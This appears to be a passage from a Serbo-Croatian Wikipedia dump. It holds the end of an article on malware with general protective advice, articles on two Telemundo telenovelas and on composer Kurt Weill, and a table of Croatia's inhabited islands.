riječ o dobrom načinu da se napravi procjena o legitimnosti datoteke. * Isključivanje File Sharing funkcije ako se koristite (pogledajte pod odlomkom Vanjske poveznice za poveznicu s informacijama kako isključiti FS). == Reference == {{reflist}} == Vanjske veze == {{Commonscat|Malware}} * [http://www.symantec.com/security_response/threatexplorer/azlisting.jsp Popis štetnog softvera od A do Z - Symantec.com] * [http://stopbadware.org/ StopBadware internetska stranica] * [http://support.microsoft.com/kb/307874 Kako isključiti Simple File Sharing na Windows XP-u] i [http://support.microsoft.com/kb/199346 Kako isključiti File and Printer sharing za dodatnu sigurnost] Napomena: više informacija o File and Printer Sharing i kako ih isključiti na Windowsima Vista i Windowsima 7 se može naći na internetskim stranicama Microsofta. {{Izabran}} [[Kategorija:Informatika]] [[Kategorija:Softver]] [[Kategorija:Računalna sigurnost]] 8rvw73vuyyd9vdhgbodccii05jfmy29 0 108725 42602621 42248865 2026-05-27T22:16:34Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602621 wikitext text/x-wiki {{Infokutija TV | naziv_emisije = La diosa coronada | zemlja = {{flagcountry|COL}} | kanal = [[Telemundo]] | početak = [[26. 7.|26. jul]] [[2010]] | kraj = [[7. 9.|7. septembar]] [[2010]] | br_epizoda = 31 | scenario = [[Juan Camilo Ferrand]] | producent = [[Hugo León Ferrer]] | režija = [[Miguel Varoni]]<br />[[Rodolfo Hoyos]] | nastupaju = [[Carolina Guerra]]<br />[[Arap Bethke]] | uvodna_pjesma = La diosa coronada; izvodi: [[Leandro Díaz]] }} '''La diosa coronada''' je [[Kolumbija|kolumbijska]] [[telenovela]] produkcijske kuće [[Telemundo]] snimana tokom [[2010]]. godine. Njen zaplet je inspirisan životom bivše kolumbijske misice [[Angie Sanclemente Valencia|Endži Sanklemente Valensija]]. == Sinopsis == Rakel Kruz je isfrustrirana životom u siromaštvu i zahvaljujući svojoj lepoti i ambicioznom karakteru pronalazi idealan put ka uspehu i bogatstvu. Sigurna je u to da će brakom sa milionerom okončati svoje ekonomske probleme, no žrtva ka ostvarenju tog cilja, mladi i uspešni Esteban, otkriva njene ambicije i već za nepunih tri meseca odlučuje da je ostavi u istoj situaciji u kojoj ju je i upoznao. U potrazi za boljom budućnošću, kandiduje se na izboru za Nacionalnu Kraljicu Turizma, spremna isključivo na pobedu, pa makar zbog nje i prodala dušu đavolu. U tome i uspeva, no problem se javlja kada jedna novinarka otkriva da njeno krunisanje nije bilo u skladu sa propisanim pravilima takmičenja, činjenicom da Rakel iza sebe ima skriven i okončan brak. Njene želje za novcem, uspehom i moći iznova deluju nedostižno, sve do dana kada upoznaje tajanstvenog poslodavca koji joj nudi život pun luksuza i slave. Tako se Rakel udaje po drugi put, sada za Henara zahvaljujući čijem uticaju stiče slavu radom na televiziji. Srce ispunjeno prazninom i ravnodušnošću biće najveća žrtva i naknada za sav luksuz koji je stekla, no i ulaz u rizične muževljeve poslove. Rakel ulazi u svet korupcije, opasnih radnji i ilegalnog luksuza, koji će je odvesti pravo u svet trgovine trogom. Zahvaljujući vezama sa uticajnim narko dilerima Kolumbije, dobija priliku za transport droge kroz prtljag modela, i pokreće udruženu mrežu mafije i modela uz upotrebu takozvanih „ljudskih mazgi“. Tako Rakel postaje „Krunisana Boginja“ i vladar sopstvenog sveta. No, jedna greška će je lišiti svega što je postigla, pa i lične slobode. Policija otpočinje nemilosrdnu potragu za „Krunisanom Boginjom“, u kojoj novčana nagrada za njenu glavu postaje svačija opsesija. == Uloge == {| border="2" cellpadding="4" cellspacing="0" style="margin:1em 1em 1em 0; background:#f9f9f9; border:1px #aaa solid; border-collapse:collapse; font-size:95%" |- ! Glumac: || Uloga: |- |Karolina Gera||Rakel Kruz Santamarija |- |[[Arap Bethke|Arap Betke]]||Henaro |- |Margarita Rejes||Katja |- |Valentina Lizkano||Adelaida |- |Karolina Gajtan||Valerija |- |Pedro Falja||Kapetan Kastro |- |Anheline Monkajo||Sulma |- |Džon Mario Rivera||Guzman |- |[[Carlos Camacho (glumac)|Karlos Umberto Kamačo]]||Roher |- |Đonatan Islas||Kevin |- |Luses Valaskez||Matilde |- |Katerine Porto||Norida Beltran |- |Rodolfo Valdes||Dario |- |Honatan Montero|| |} == Vanjske veze == * [http://msnlatino.telemundo.com/novelas/La_Diosa_Coronada/ Sitio Web oficial] {{Webarchive|url=https://web.archive.org/web/20110510221816/http://msnlatino.telemundo.com/novelas/La_Diosa_Coronada/ |date=2011-05-10 }} {{TVSvijek|2010|2010}} {{Normativna kontrola}} [[Kategorija:Kolumbijske telenovele]] 3hryevmm2hz7a9zin7cbug5aw4t2m3w 0 108752 42602690 42249109 2026-05-28T07:45:21Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602690 wikitext text/x-wiki {{Infokutija TV | naziv_emisije = Los herederos Del Monte | zemlja = {{flag|Sjedinjene Države}} | kanal = [[Telemundo]] | početak = [[10. 1.]] [[2011]]. | kraj = [[15. 7.]] [[2011]]. | nastupaju = [[Marlene Favela]]<br />[[Mario Cimarro]]<br />[[José Luis Reséndez]]<br />[[Jonathan Islas]]<br />[[Ezequiel Montalt]]<br />[[Fabián Ríos]]<br />[[Natasha Klauss]] | uvodna_pjesma = Desde que estas aqui; izvodi: [[Paola Vargas]] }} '''''Los herederos Del Monte''''' (na španskom:"Naslednici") je [[telenovela]] produkcijske kuće [[Telemundo]] snimana u [[Kolumbija|Kolumbiji]]. Predstavlja rimejk čileanske telenovele ''[[Hijos Del Monte]]'' iz 2007. U [[Hrvatska|Hrvatskoj]] je prikazana na [[RTL Televizija|RTL Televiziji]] pod naslovom '''''Nasljednici''''', a u [[Srbija|Srbiji]] na [[RTV Pink]] pod naslovom '''''Naslednici'''''. == Sinopsis == Na hacijendi Del Monteovih dani prolaze mirno. Petorica braće: Huan, Hose, Pedro, Gaspar i Lukas brinu se, kao i obično, o zemlji koju su njihovi preci tokom vremena pretvorili u najrazvijenije područje u regionu. Žele da održe svoje nasleđe, ali i da ga uvećaju. Uz Modesta, vernog porodičnog slugu, braća se okupljaju na čitanju testamenta tek umrlog oca. Ono o čemu petorica usvojenih sinova nije ni sanjala jeste da će taj tužni dan u njihovim životima obeležiti početak propasti i nove priče u koju će sva petorica biti neizostavno upleteni. Kada je advokat na korak do čitanja testamenta i pokazivanja video klipa na kome se nalaze poslednje reči Emilija Del Montea, pojavljuje se Paula... Del Monte. Ona je starčevo jedino biloško dete i ne dolazi samo da zahteva svoj deo nasledstva, već i da uzdrma živote najpoželjnijih muškaraca u regiji. Paula je došla odlučna da dobije ono što joj pripada. Vođena je ogorčenošću jer je tokom godina bila ignorisana i zapostavljena od strane očeve porodice. Pažljivo smišlja planove, a svaki od petorice braće pomoći će joj da ih sprovede u delo. Ono što Paula Del Monte nije očekivala jeste da će na imanju čija vlasnica želi da postane, pronaći - ljubav. To će je navesti na promenu ciljeva. Prvi put u svom životu, ova lepotica neće moći da kontroliše svoja osećanja, a još manje emocije. Svi planovi padaju u vodu, dok njena majka Sofija Kanjadas na sve načine pokušava da Paula ispuni obećanje koje joj je dala jednom davno: Ostati sa čitavom imovinom braće Del Monte. == Uloge == {| border="2" cellpadding="4" cellspacing="0" style="margin:1em 1em 1em 0; background:#f9f9f9; border:1px #aaa solid; border-collapse:collapse; font-size:95%" |- ! Glumac: || Uloga: |- |[[Marlene Favela]]||Paula Del Monte |- |[[Mario Simaro]]||Huan Del Monte |- |Hose Luis Resendes||Hose Del Monte |- |Eskijel Montalt||Pedro Del Monte |- |[[Fabijan Rios]]||Gaspar Del Monte |- |Đonatan Islas||Lukas Del Monte |- |[[Dijana Kihano]]||Sofija Kanjadas |- |[[Roberto Mateos]]||Modesto Mardones |- |Havijer Delđudići||Migel Miljan |- |Margarita Duran||Rosa Sifuentes |- |Margarita Munjoz||Hulijeta Miljan |- |Karla Giraldo||Rosario Miljan |- |Karina Kruz||Konsuelo Miljan |- |[[Nataša Klaus]]||Berta Soto |- |Huan Pablo Obregon||Džoni Delgado |- |Pedro Rendon||Efrain Mardones |- |Margarita Rejes||Beatris Perejra |- |Didier Van Den Hove||Eleuterio Mardones |- |Alehandra Sandoval||Gvadalupe Mardones |- |Emerson Rodrigez||Amador Kareseda |- |Hulio del Mar||Don Emilio Del Monte |- |Andres Felipe Martines||Don Gustavo |} == Vanjske veze == * [http://msnlatino.telemundo.com/shows/Los_Herederos_del_Monte/ Sitio Web oficial] {{Webarchive|url=https://web.archive.org/web/20110501122657/http://msnlatino.telemundo.com/shows/Los_Herederos_del_Monte/ |date=2011-05-01 }} * [http://s6.zetaboards.com/TVVI/topic/8693662/1/ TVVI "Los herederos del Monte"] {{Webarchive|url=https://web.archive.org/web/20110124113214/http://s6.zetaboards.com/TVVI/topic/8693662/1/ |date=2011-01-24 }} {{TVSvijek|2011|2011}} {{Normativna kontrola}} [[Kategorija:Kolumbijske telenovele]] [[Kategorija:Telemundove telenovele]] rg01d0nyyoqw0w5q2edvw6dbz79xpia 0 130816 42602594 42397905 2026-05-27T19:03:15Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602594 wikitext text/x-wiki [[Datoteka:Bundesarchiv Bild 146-2005-0119, Kurt Weill.jpg|thumb|Kurt Weill.]] '''Kurt Julian Weill''' (2. mart 1900<ref name="nytimesobit">{{cite news|title=Kurt Weill Dead; Composer, Was 50 |url=http://select.nytimes.com/gst/abstract.html?res=FA0D1EFD385F177A93C6A9178FD85F448585F9 |format=PDF, fee required |work=The New York Times |publisher=The New York Times Co. |page=28 |date = 4. 04. 1950. |accessdate = 1. 04. 2008.}}</ref> – 3. april 1950<ref name="nytimesobit" />) bio je [[Njemačka|njemačko]]-[[jevrej]]ski kompozitor, koji je od 1930-ih djelovao u SAD. Napisao je niz scenskih djela, a najpoznatiji je po plodnoj suradnji sa tekstopiscem i poznatim dramatičarom [[Bertolt Brecht|Bertoltom Brechtom]]. Sa njime je stvorio niz mjuzikala, od kojih se najviše ističe ''[[Opera za tri groša]]'', [[marksizam|marksističku]] kritiku kapitalizma u obliku mjuzikla, koja sadrži popularnu baladu "[[Mack the Knife]]". Weill je po svojim uvjerenjima bio socijalist <ref>[http://www.alanbushtrust.org.uk/articles/article_dhall.asp?room=Articles Alan Bush Music Trust – More Than a Pleasant Way to Pass the Time?] {{Webarchive|url=https://web.archive.org/web/20111001051332/http://www.alanbushtrust.org.uk/articles/article_dhall.asp?room=Articles |date=2011-10-01 }}. Alanbushtrust.org.uk (April 23, 1964). Retrieved on August 22, 2011.</ref> i smatrao da idealna muzika mora imati društveno korisnu svrhu.<ref name="cjschuler.net">[http://www.cjschuler.net/weill.htm Kurt Weill] {{Webarchive|url=https://web.archive.org/web/20120311215544/http://www.cjschuler.net/weill.htm |date=2012-03-11 }}. Cjschuler.net. Retrieved on August 22, 2011.</ref> Također je pisao klasičnu muziku, kao i nekoliko djela sa [[judaizam|judaističkim]] temama. == Reference == {{reflist}} == Vanjske veze == {{Commonscat}} * [http://www.kwf.org/ Kurt Weill Foundation, including a detailed list of works] * [http://www.schott-musik.de/artist/show,20215.html Schott Music] {{Webarchive|url=https://web.archive.org/web/20060215234659/http://www.schott-musik.de/artist/show,20215.html |date=2006-02-15 }} * [http://orelfoundation.org/index.php/composers/article/kurt_weill/ The OREL Foundation- Kurt Weill's biography and links to bibliography, discography and media.] * {{ibdb name|id=7112|name=Kurt Weill}} * {{IMDb name|id=0918044|name=Kurt Weill}} * [http://www.laco.org/performances/120/?program=1 Program note to Kurt Weill's Symphony No. 2] {{Webarchive|url=https://web.archive.org/web/20111213015944/http://www.laco.org/performances/120/?program=1 |date=2011-12-13 }} from the [[Los Angeles Chamber Orchestra]] * [http://drs.library.yale.edu:8083/saxon/SaxonServlet?style=http://drs.library.yale.edu:8083/saxon/EAD/yul.ead2002.xhtml.xsl&source=http://drs.library.yale.edu:8083/fedora/get/music:mss.0030/EAD&query=weill&filter=&hitPageStart=1 Yale University's Gilmore Music Library has an important collection of Kurt Weill's Papers and Music, especially from his years in America] {{Webarchive|url=https://web.archive.org/web/20130809164947/http://drs.library.yale.edu:8083/saxon/SaxonServlet?style=http%3A%2F%2Fdrs.library.yale.edu%3A8083%2Fsaxon%2FEAD%2Fyul.ead2002.xhtml.xsl&source=http%3A%2F%2Fdrs.library.yale.edu%3A8083%2Ffedora%2Fget%2Fmusic%3Amss.0030%2FEAD&query=weill&filter=&hitPageStart=1 |date=2013-08-09 }} * [http://www.esm.rochester.edu/sibley/specialc/findaids/display.php?id=115 Finding aid to Universal Edition-Kurt Weill Archives – Manuscripts on deposit at the Ruth T. Watanabe Special Collections Department, Sibley Music Library, Eastman School of Music, University of Rochester] {{Webarchive|url=https://web.archive.org/web/20120305193248/http://www.esm.rochester.edu/sibley/specialc/findaids/display.php?id=115 |date=2012-03-05 }} {{Lifetime|1900|1950|Weill, Kurt}} [[Kategorija:Njemački kompozitori]] [[Kategorija:Socijalisti]] [[Kategorija:Dobitnici i dobitnice Tony Award]] 65ixo8viavuxuf6vy1fbx98v3evkhtm 0 137157 42602668 42416204 2026-05-28T04:44:59Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602668 wikitext text/x-wiki [[Datoteka:Croatian islands map.png|desno|thumb|300px|Karta [[Hrvatska|Hrvatskih]] [[otok]]a u [[Jadransko more|Jadranskom moru]].]] [[Datoteka: Hvar_grad.JPG|thumb|250 px|Luka u gradu Hvaru, na otoku Hvaru]] Ovo je '''popis naseljenih otoka u Hrvatskoj''', poredan po broju stanovnika na dan [[31. ožujka]] [[2001.]] U [[Hrvatska|hrvatskom]] dijelu [[Jadransko more|Jadrana]] ima 698 [[otok]]a, 389 [[otočić]]a i 78 [[greben]]a,<ref name="yearbook">{{cite web | url = http://www.dzs.hr/Hrv_Eng/ljetopis/2005/01-tab.pdf | title = Geografski i meteorološki podaci | accessdate = 2. listopada 2006. | author = Državni zavod za statistiku RH | year = 2005. | format = PDF | work = Statistički ljetopis 2005. | publisher = Državni zavod za statistiku RH | pages = 43 | archive-date = 2012-03-04 | archive-url = https://web.archive.org/web/20120304110825/http://www.dzs.hr/Hrv_Eng/ljetopis/2005/01-tab.pdf }}</ref> što hrvatske otoke čini najbrojnijim u Jadranskom moru i drugim po brojnosti na [[Sredozemlje|Sredozemlju]] ([[Popis otoka u Grčkoj|grčko otočje]] je najbrojnije).<ref name="geo.hr">{{cite web | url = http://www.geografija.hr/novosti.asp?id_novosti=853&id_projekta=0&id_stranice=0 | title = Hrvatski pseudo-otoci | accessdate = 2. listopada 2006. | last = Faričić | first = Josip | date = 23. veljače 2006. | language = hrvatski | archivedate = 2008-05-22 | archiveurl = https://web.archive.org/web/20080522202810/http://www.geografija.hr/novosti.asp?id_novosti=853&id_projekta=0&id_stranice=0 | deadurl = yes }}</ref> Od 698 otoka, samo 48 su naseljena u smislu da najmanje jedna osoba prebiva na tom otoku. Neki izvori ukazuju na to da Hrvatska ima 66 naseljenih otoka,<ref name="www.hr">{{cite web | url = http://www.hr/darko/etf/gen.html | title = Generalities and basic facts about CROATIA | accessdate = 2. listopada 2006. | last = Žubrinić | first = Darko | year = 1995. | language = engleski | archive-date = 2006-10-01 | archive-url = https://web.archive.org/web/20061001230004/http://www.hr/darko/etf/gen.html | url-status = dead }}</ref> što je broj otoka koji na sebi imaju naselja,<ref name="yearbook" /> ali od otoka sa naseljem, 19 ih je izgubilo stalne stanovnike kao rezultat stalnog smanjenja broja stanovnika na svim hrvatskim otocima zbog slabe ekonomske aktivnosti<ref name="vjesnik">{{cite web | url = http://dns1.vjesnik.hr/pdf/2006%5C09%5C01%5C02A2.PDF | title = Za otoke milijardu kuna godišnje! | accessdate = 2. listopada 2006. | last = Treglav | first = Bojan | date = 1. rujna 2006. | format = PDF | work = Vjesnik | publisher = Vjesnik d.d. | pages = 2 | language = hrvatski }}</ref> i zbog preseljavanja najstarijih stanovnika sa najopustjelijih otoka u staračke domove na obližnjim otocima. Hrvatski otoci su naseljeni od vremena [[Stara Grčka|stare Grčke]] (na primjer, [[Hvar]] je već bio naseljen između 3500. pne. i 2500. pne.,<ref name="hvar-povijest">{{cite web | url = http://wwww.hvar.hr/Po%C4%8Detna/povijest/tabid/1133/Default.aspx | title = Povijest | accessdate = 2. listopada 2006. | year = 2005 | language = hrvatski | archivedate = 2008-09-26 | archiveurl = https://web.archive.org/web/20080926165527/http://wwww.hvar.hr/Po%C4%8Detna/povijest/tabid/1133/Default.aspx | deadurl = yes }}</ref> kada je Dionizije I. iz Sirakuze osnovao tamo [[kolonija|koloniju]] u [[4. stoljeće pne.|4. stoljeću pne.]]<ref name="hvar-povijest" /><ref name="vis-povijest">{{cite web | url = http://nautic-apartments.com/hrv/povijest.htm | title = Povijest otoka Visa | accessdate = 2. listopada 2006. | last = Gazija | first = Dražen | language = hrvatski | archivedate = 2008-03-16 | archiveurl = https://web.archive.org/web/20080316122205/http://nautic-apartments.com/hrv/povijest.htm | deadurl = yes }}</ref>). Glavne industrije na otocima su [[poljoprivreda]] (primarno [[vinogradarstvo]] i [[maslinarstvo]]), [[ribarstvo]] i [[turizam]]. Lokalna ekonomija je relativno nerazvijena, tako da [[Vlada Republike Hrvatske|hrvatska vlada]] pruža razne oblike potpore i zaštite kroz "Zakon o otocima" da bi stimulirala ekonomiju na otocima, što uključuje ukidanje [[mostarina|mostarine]] i jeftinije ili besplatne karte za [[trajekt]]e za otočane.<ref>{{cite web | url = http://www.nn.hr/clanci/sluzbeno/1999/0706.htm | title = Zakon o otocima | accessdate = 2. listopada 2006. | date = 1. travnja 1999. | publisher = Narodne novine d.d. | language = hrvatski }}</ref> <div style="float:right"> '''Legenda gustoće naseljenosti'''<br /> {{Legenda|#FFE4E4|0-10 osoba na km²|border=1px solid #AAAAAA}} {{Legenda|#FFB7B7|10-50 osoba na km²|border=1px solid #AAAAAA}} {{Legenda|#FF7D7D|50-100 osoba na km²|border=1px solid #AAAAAA}} {{Legenda|#FF4E4E|100-150 osoba na km²|border=1px solid #AAAAAA}} {{Legenda|#FF0000|150< osoba na km²|border=1px solid #AAAAAA}} </div>[[Datoteka:MURVICA BEACH.JPG|desno|thumb|250px|Plaža na otoku [[Brač]]u.]] [[Datoteka:Kornati 2.JPG|desno|thumb|250px|[[Kornati|Kornatski]] otoci.]] [[Datoteka:Vis - Way to Smricevica.JPG|desno|thumb|250px|Šuma na otoku [[Vis]]u.]] [[Datoteka:Otok Rab 02.jpg|desno|thumb|250px|Otok [[Rab]].]] [[Datoteka:Vis vineyard.JPG|desno|thumb|250px|[[Vinograd]] na otoku [[Vis]]u.]] [[Datoteka:Pasman.jpg|desno|thumb|250px|Otok [[Pašman]] - Pogled s Bokolja na mjesto Pašman]] <onlyinclude> {| class="wikitable sortable" |- ! # ! Otok ! Broj<br />stanovnika<ref name="yearbook" /> ! Površina<ref name="yearbook" /><br /><small>([[km²]])</small> ! Najviša točka<ref name="yearbook" /><br /><small>([[metar]]a)</small> ! Gustoća<br />naseljenosti<br /><small>(osoba na<br />[[km²]])</small> |- | 1 | [[Krk]] |align="right"| 17.860 |align="right"| 405,78 |align="right"| 568 |align="right" bgcolor="#FFB7B7" | 44,0 |- | 2 | [[Korčula]] |align="right"| 16.182 |align="right"| 276,03 |align="right"| 569 |align="right" bgcolor="#FF7D7D" | 58,6 |- | 3 | [[Brač]] | align="right"| 14.031 | align="right"| 394,57 | align="right"| 780 | align="right" bgcolor="#FFB7B7" | 35,6 |- | 4 | [[Hvar]] | align="right"| 11.103 | align="right"| 299,66 | align="right"| 628 | align="right" bgcolor="#FFB7B7" | 37,1 |- | 5 | [[Rab]] | align="right"| 9.480 | align="right"| 90,84 | align="right"| 410 | align="right" bgcolor="#FF4E4E" | 104,4 |- | 6 | [[Pag]] | align="right"| 8.398 | align="right"| 284,56 | align="right"| 349 | align="right" bgcolor="#FFB7B7" | 29,5 |- | 7 | [[Lošinj]] | align="right"| 7.771 | align="right"| 74,68 | align="right"| 589 | align="right" bgcolor="#FF4E4E" | 104,1 |- | 8 | [[Ugljan]] | align="right"| 6.182 | align="right"| 50,21 | align="right"| 286 | align="right" bgcolor="#FF4E4E" | 123,1 |- | 9 | [[Murter]] | align="right"| 5.060 | align="right"| 18,60 | align="right"| 125 | align="right" bgcolor="#FF0000" | 272,0 |- | 10 | [[Čiovo]] | align="right"| 4.455 | align="right"| 28,80 | align="right"| 217 | align="right" bgcolor="#FF0000" | 154,7 |- | 11 | [[Vis]] | align="right"| 3.617 | align="right"| 90,26 | align="right"| 587 | align="right" bgcolor="#FFB7B7" | 40,1 |- | 12 | [[Cres]] | align="right"| 3.184 | align="right"| 405,78 | align="right"| 639 | align="right" bgcolor="#FFE4E4" | 7,8 |- | 13 | [[Pašman]] | align="right"| 2.711 | align="right"| 63,34 | align="right"| 272 | align="right" bgcolor="#FFB7B7" | 42,8 |- | 14 | [[Dugi Otok]] | align="right"| 1.772 | align="right"| 114,44 | align="right"| 337 | align="right" bgcolor="#FFB7B7" | 15,5 |- | 15 | [[Vir]] | align="right"| 1.608 | align="right"| 22,38 | align="right"| 112 | align="right" bgcolor="#FF7D7D" | 71,9 |- | 16 | [[Šolta]] | align="right"| 1.479 | align="right"| 58,98 | align="right"| 236 | align="right" bgcolor="#FFB7B7" | 25,1 |- | 17 | [[Mljet]] | align="right"| 1.111 | align="right"| 100,41 | align="right"| 513 | align="right" bgcolor="#FFB7B7" | 11,1 |- | 18 | [[Lastovo]] | align="right"| 835 | align="right"| 46,87 | align="right"| 415 | align="right" bgcolor="#FFB7B7" | 17,8 |- | 19 | [[Iž]] | align="right"| 557 | align="right"| 17,59 | align="right"| 168 | align="right" bgcolor="#FFB7B7" | 31,7 |- | 20 | [[Prvić]] | align="right"| 453 | align="right"| 2,37 | align="right"| 75 | align="right" bgcolor="#FF0000" | 191,1 |- | 21 | [[Šipan]] | align="right"| 436 | align="right"| 15,81 | align="right"| 224 | align="right" bgcolor="#FFB7B7" | 27,6 |- | 22 | [[Koločep]] | align="right"| 294 | align="right"| 2,4<ref name="Kolocep">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=189 | title = Koločep :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 125<ref name="Kolocep" /> | align="right" bgcolor="#FF4E4E" | 122,5 |- | 23 | [[Zlarin]] | align="right"| 276 | align="right"| 8,19 | align="right"| 169 | align="right" bgcolor="#FFB7B7" | 33,7 |- | 24 | [[Lopud]] | align="right"| 269 | align="right"| 4,63<ref name="Lopud">{{cite web | url = http://www.lopud.nl/lopud/basis-cr.htm | title = Otok Lopud, Dubrovnik | accessdate = 2. listopada 2006. | language = hrvatski | archive-date = 2012-02-05 | archive-url = https://web.archive.org/web/20120205182223/http://www.lopud.nl/lopud/basis-cr.htm | dead-url = yes }}</ref> | align="right"| 216<ref name="Lopud" /> | align="right" bgcolor="#FF7D7D" | 58,1 |- | 25 | [[Silba]] | align="right"| 265 | align="right"| 14,98 | align="right"| 83 | align="right" bgcolor="#FFB7B7" | 17,7 |- | 26 | [[Vrgada]] | align="right"| 242 | align="right"| 3,7<ref name="Vrgada">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=111 | title = Vrgada :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 115<ref name="Vrgada" /> | align="right" bgcolor="#FF7D7D" | 65,4 |- | 27 | [[Krapanj]] | align="right"| 237 | align="right"| 0,36<ref name="Krapanj">{{cite web | url = http://www.tz-brodarica.hr/hrv/ | title = Turistička zajednica Brodarica - Krapanj | accessdate = 2. listopada 2006. | language = hrvatski | archive-date = 2009-04-08 | archive-url = https://web.archive.org/web/20090408054731/http://www.tz-brodarica.hr/hrv/ }}</ref> | align="right"| 1,5<ref name="Krapanj" /> | align="right" bgcolor="#FF0000" | 658,3 |- | 28 | [[Molat]] | align="right"| 207 | align="right"| 22,82 | align="right"| 148 | align="right" bgcolor="#FFE4E4" | 9,1 |- | 29 | [[Ist]] | align="right"| 202 | align="right"| 9,7<ref name="Ist">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=164 | title = Ist :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 174<ref name="Ist" /> | align="right" bgcolor="#FFB7B7" | 20,8 |- | 30 | [[Susak]] | align="right"| 188 | align="right"| 3,8<ref name="Susak">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=68 | title = Susak :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 98<ref name="Susak" /> | align="right" bgcolor="#FFB7B7" | 49,5 |- | 31 | [[Drvenik Veli]] | align="right"| 168 | align="right"| 12,07 | align="right"| 178 | align="right" bgcolor="#FFB7B7" | 13,9 |- | 32 | [[Olib]] | align="right"| 147 | align="right"| 26,09 | align="right"| 74 | align="right" bgcolor="#FFE4E4" | 5,6 |- | 33 | [[Kaprije]] | align="right"| 143 | align="right"| 6,97 | align="right"| 132 | align="right" bgcolor="#FFB7B7" | 20,5 |- | 34 | [[Žirje]] | align="right"| 124 | align="right"| 15,06 | align="right"| 134 | align="right" bgcolor="#FFE4E4" | 8,2 |- | 35 | [[Ilovik]] | align="right"| 104 | align="right"| 5,2<ref name="Ilovik">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=163 | title = Ilovik :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 92<ref name="Ilovik" /> | align="right" bgcolor="#FFB7B7" | 20,0 |- | 36 | [[Rava (otok)|Rava]] | align="right"| 98 | align="right"| 3,6<ref name="Rava">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=38 | title = Rava :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 98<ref name="Rava" /> | align="right" bgcolor="#FFB7B7" | 27,2 |- | 37 | [[Unije]] | align="right"| 90 | align="right"| 16,92 | align="right"| 132 | align="right" bgcolor="#FFE4E4" | 5,3 |- | 38 | [[Premuda]] | align="right"| 58 | align="right"| 9,25 | align="right"| 88 | align="right" bgcolor="#FFE4E4" | 6,3 |- | 39 | [[Drvenik Mali]] | align="right"| 54 | align="right"| 3,3<ref name="Drvenik Mali">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=212 | title = Drvenik Mali :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 79<ref name="Drvenik Mali" /> | align="right" bgcolor="#FFB7B7" | 16,4 |- | 40 | [[Sestrunj]] | align="right"| 48 | align="right"| 11,1<ref name="Sestrunj">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=49 | title = Sestrunj :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 185<ref name="Sestrunj" /> | align="right" bgcolor="#FFE4E4" | 4,3 |- | 41 | [[Zverinac]] | align="right"| 48 | align="right"| 4,2<ref name="Zverinac">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=123 | title = Zverinac :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 111<ref name="Zverinac" /> | align="right" bgcolor="#FFB7B7" | 11,4 |- | 42 | [[Rivanj]] | align="right"| 22 | align="right"| 4,4<ref name="Rivanj">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=40 | title = Rivanj :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 112<ref name="Rivanj" /> | align="right" bgcolor="#FFE4E4" | 5,0 |- | 43 | [[Biševo]] | align="right"| 19 | align="right"| 5,8<ref name="Biševo">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=140 | title = Biševo :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 239<ref name="Biševo" /> | align="right" bgcolor="#FFE4E4" | 3,3 |- | 44. | [[Ošljak]] | align="right"| 18 | align="right"| 0,33 | align="right"| 90 | align="right" bgcolor="#FF7D7D" | 54,5 |- | 45 | [[Vele Srakane]] | align="right"| 8 | align="right"| 1,15<ref name="Vele Srakane">{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=653 | title = Vele Srakane :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 59<ref name="Vele Srakane" /> | align="right" bgcolor="#FFE4E4" | 5,3 |- | 46 | [[Kornat]] | align="right"| 7 | align="right"| 32,30 | align="right"| 237 | align="right" bgcolor="#FFE4E4" | 0,2 |- | 47 | [[Male Srakane]] | align="right"| 2 | align="right"| 0,61<ref>[http://hrcak.srce.hr/index.php?show=clanak&id_clanak_jezik=14783 Coastline lenghts and areas of islands in the Croatian part of the Adriatic Sea determined from the topographic maps at the scale of 1 : 25 000]</ref> | align="right"| 40<ref>{{cite web | url = http://www.diver.hr/index.php?option=com_content&task=view&id=3&Itemid=8 | title = DSC Mali Lošinj | accessdate = 2. listopada 2006. | publisher = DSC Lošinj | language = hrvatski | archivedate = 2009-11-08 | archiveurl = https://web.archive.org/web/20091108174602/http://www.diver.hr/index.php?option=com_content&task=view&id=3&Itemid=8 | deadurl = yes }}</ref> | align="right" bgcolor="#FFE4E4" | 3,27 |- | 48 | [[Sveti Andrija (Rovinj)|Sveti Andrija]] | align="right"| 1 | align="right"| 0,14<ref>{{cite web | url = http://peljar.cvs.hr/show_place_info.php?id=433 | title = Sveti Andrija :: peljar.cvs.hr | accessdate = 2. listopada 2006. | language = hrvatski }}</ref> | align="right"| 30 | align="right" bgcolor="#FFE4E4" | 7,1 |} == Reference == {{izvori}} 